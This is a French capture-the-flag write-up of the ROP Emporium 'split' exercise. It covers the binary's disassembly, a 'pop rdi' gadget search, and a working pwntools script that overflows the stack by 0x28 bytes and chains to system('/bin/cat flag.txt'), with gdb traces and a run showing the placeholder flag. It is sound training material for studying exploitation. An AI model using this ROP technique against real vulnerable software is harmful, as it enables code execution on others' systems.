Ropemporium x86_64 split
Introduction
Dans ce second exercice on doit passer un argument à la fonction appelée. L’argument est présent dans le programme.
Découverte
Exécution
$ ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> AAAAAAA
Thank you!
Exiting
Exploration du code
La fonction main :
gef➤ disas main
Dump of assembler code for function main:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: mov rax,QWORD PTR [rip+0x2009d6] # 0x601078 <stdout@@GLIBC_2.2.5>
0x00000000004006a2 <+11>: mov ecx,0x0
0x00000000004006a7 <+16>: mov edx,0x2
0x00000000004006ac <+21>: mov esi,0x0
0x00000000004006b1 <+26>: mov rdi,rax
0x00000000004006b4 <+29>: call 0x4005a0 <setvbuf@plt>
0x00000000004006b9 <+34>: mov edi,0x4007e8
0x00000000004006be <+39>: call 0x400550 <puts@plt>
0x00000000004006c3 <+44>: mov edi,0x4007fe
0x00000000004006c8 <+49>: call 0x400550 <puts@plt>
0x00000000004006cd <+54>: mov eax,0x0
0x00000000004006d2 <+59>: call 0x4006e8 <pwnme>
0x00000000004006d7 <+64>: mov edi,0x400806
0x00000000004006dc <+69>: call 0x400550 <puts@plt>
0x00000000004006e1 <+74>: mov eax,0x0
0x00000000004006e6 <+79>: pop rbp
0x00000000004006e7 <+80>: ret
End of assembler dump.
la fonction pwnme :
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400810
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x40083c
0x0000000000400715 <+45>: mov eax,0x0
0x000000000040071a <+50>: call 0x400570 <printf@plt>
0x000000000040071f <+55>: lea rax,[rbp-0x20]
0x0000000000400723 <+59>: mov edx,0x60
0x0000000000400728 <+64>: mov rsi,rax
0x000000000040072b <+67>: mov edi,0x0
0x0000000000400730 <+72>: call 0x400590 <read@plt> ; read(0, rbp-0x20, 0x60)
0x0000000000400735 <+77>: mov edi,0x40083f
0x000000000040073a <+82>: call 0x400550 <puts@plt>
0x000000000040073f <+87>: nop
0x0000000000400740 <+88>: leave
0x0000000000400741 <+89>: ret
End of assembler dump.
On a de nouveau un débordement avec une offset 0x28 avant écrasement de SRIP.
Les fonctions disponibles :
Avec gdb.
gef➤ i fun
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction
0x0000000000400760 __libc_csu_init
0x00000000004007d0 __libc_csu_fini
0x00000000004007d4 _fini
Avec le command readelf :
02_split# readelf -s split|grep FUNC|grep -v UND
27: 00000000004005f0 0 FUNC LOCAL DEFAULT 13 deregister_tm_clones
28: 0000000000400620 0 FUNC LOCAL DEFAULT 13 register_tm_clones
29: 0000000000400660 0 FUNC LOCAL DEFAULT 13 __do_global_dtors_aux
32: 0000000000400690 0 FUNC LOCAL DEFAULT 13 frame_dummy
35: 00000000004006e8 90 FUNC LOCAL DEFAULT 13 pwnme
36: 0000000000400742 17 FUNC LOCAL DEFAULT 13 usefulFunction
45: 00000000004007d0 2 FUNC GLOBAL DEFAULT 13 __libc_csu_fini
50: 00000000004007d4 0 FUNC GLOBAL DEFAULT 14 _fini
61: 0000000000400760 101 FUNC GLOBAL DEFAULT 13 __libc_csu_init
63: 00000000004005e0 2 FUNC GLOBAL HIDDEN 13 _dl_relocate_sta[...]
64: 00000000004005b0 43 FUNC GLOBAL DEFAULT 13 _start
66: 0000000000400697 81 FUNC GLOBAL DEFAULT 13 main
69: 0000000000400528 0 FUNC GLOBAL DEFAULT 11 _init
On dispose d’une fonction qui exécute une commande passée en paramètre :
gef➤ disas usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a ; /bin/ls
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
Pour cet exercice, une chaîne de caractères est présente dans l’exécutable
gef➤ x/s &usefulString
0x601060
On peut donc envisager d’appeler l’adresse 0x000000000040074b (usefulFunction +7) en ayant préalablement chargé l’adresse de usefulString dans le registre rdi.
Construction de la ropchaine
Recherche d’un gadget pour charger rdi.
02_split# ROPgadget --binary split --re "pop rdi"
Gadgets information
============================================================
0x00000000004007c3 : pop rdi ; ret
Unique gadgets found: 1
Ropchaine
La chaîne à envoyer après les 40 octets de débordement :
gadget | comment |
---|---|
0x04007c3 | pop rdi; ret |
0x601060 | @usefulString |
0x40074b | call system dans usefulFunction |
Python script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
gs='''
b *pwnme+89
c
'''
#context(terminal=['tmux', 'split-window', '-h'])
# Set up pwntools for the correct architecture
elf = ELF('split')
context.binary=elf
# context(terminal=['tmux'])
useful_str=elf.symbols["usefulString"]
useful_fun=elf.symbols["usefulFunction"]
# Offset avant ecrasement de l'adresse de retour
offset=0x28
# gadget pop rdi; ret
pop_rdi=0x04007c3
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
print(f"{useful_str=:x}")
print(f"{useful_fun=:x}")
io.recvuntil(b"> ")
# On retour en useful_fun + 9 pour sauter l'affectation de edi dans la fonction
PL =b"A"*offset
PL+=p64(pop_rdi)
PL+=p64(useful_str)
PL+=p64(useful_fun+9)
io.sendline(PL)
io.interactive()
Exécution sous gdb/gef
Lancement de notre script en mode debug
python3 solve.py -d
On se retrouve dans gdb sur un point d’arrêt au retour de la fonction pwnme :
─────────────────────────────────────────────────────────────── stack ────
0x007ffe02e59108│+0x0000: 0x000000004007c3 → pop rdi ← $rsp
0x007ffe02e59110│+0x0008: 0x00000000601060 → "/bin/cat flag.txt"
0x007ffe02e59118│+0x0010: 0x0000000040074b → <usefulFunction+9> call 0x400560 <system@plt>
0x007ffe02e59120│+0x0018: 0x007ffe02e5920a → 0x000000007ffe02e5
0x007ffe02e59128│+0x0020: 0x0000000100000000
0x007ffe02e59130│+0x0028: 0x00000000400697 → <main+0> push rbp
0x007ffe02e59138│+0x0030: 0x007f4a33f3c7cf → <init_cacheinfo+287> mov rbp, rax
0x007ffe02e59140│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────── code:x86:64 ────
0x40073a <pwnme+82> call 0x400550 <puts@plt>
0x40073f <pwnme+87> nop
0x400740 <pwnme+88> leave
→ 0x400741 <pwnme+89> ret
↳ 0x4007c3 <__libc_csu_init+99> pop rdi
0x4007c4 <__libc_csu_init+100> ret
On avance d’une instuction : ret => rip est chargé avec l’adresse contenue sur la pile.
─────────────────────────────────────────────────────────────── stack ────
0x007ffe02e59110│+0x0000: 0x00000000601060 → "/bin/cat flag.txt" ← $rsp
0x007ffe02e59118│+0x0008: 0x0000000040074b → <usefulFunction+9> call 0x400560 <system@plt>
0x007ffe02e59120│+0x0010: 0x007ffe02e5920a → 0x000000007ffe02e5
0x007ffe02e59128│+0x0018: 0x0000000100000000
0x007ffe02e59130│+0x0020: 0x00000000400697 → <main+0> push rbp
0x007ffe02e59138│+0x0028: 0x007f4a33f3c7cf → <init_cacheinfo+287> mov rbp, rax
0x007ffe02e59140│+0x0030: 0x0000000000000000
0x007ffe02e59148│+0x0038: 0x47cc91bf079b7339
────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x4007c3 <__libc_csu_init+99> pop rdi
0x4007c4 <__libc_csu_init+100> ret
ni : “pop edi” charge dans edi le contenu de la pile.
─────────────────────────────────────────────────────────────────── stack ────
0x007ffe02e59118│+0x0000: 0x0000000040074b → <usefulFunction+9> call 0x400560 <system@plt> ← $rsp
0x007ffe02e59120│+0x0008: 0x007ffe02e5920a → 0x000000007ffe02e5
0x007ffe02e59128│+0x0010: 0x0000000100000000
0x007ffe02e59130│+0x0018: 0x00000000400697 → <main+0> push rbp
0x007ffe02e59138│+0x0020: 0x007f4a33f3c7cf → <init_cacheinfo+287> mov rbp, rax
0x007ffe02e59140│+0x0028: 0x0000000000000000
0x007ffe02e59148│+0x0030: 0x47cc91bf079b7339
0x007ffe02e59150│+0x0038: 0x000000004005b0 → <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x4007be <__libc_csu_init+94> pop r13
0x4007c0 <__libc_csu_init+96> pop r14
0x4007c2 <__libc_csu_init+98> pop r15
→ 0x4007c4 <__libc_csu_init+100> ret
↳ 0x40074b <usefulFunction+9> call 0x400560 <system@plt>
ni : ret , rip est chargé avec l’adresse sur la pile 0x40074b contenant un “call system”
On a alors :
system@plt (
$rdi = 0x00000000601060 → "/bin/cat flag.txt"
)
Execution directe
02_split$ python solve.py
[*] '/home/jce/w/ropemporium/x64/02_split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/jce/w/ropemporium/x64/02_split/split': pid 5404
useful_str=601060
useful_fun=400742
[*] Switching to interactive mode
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive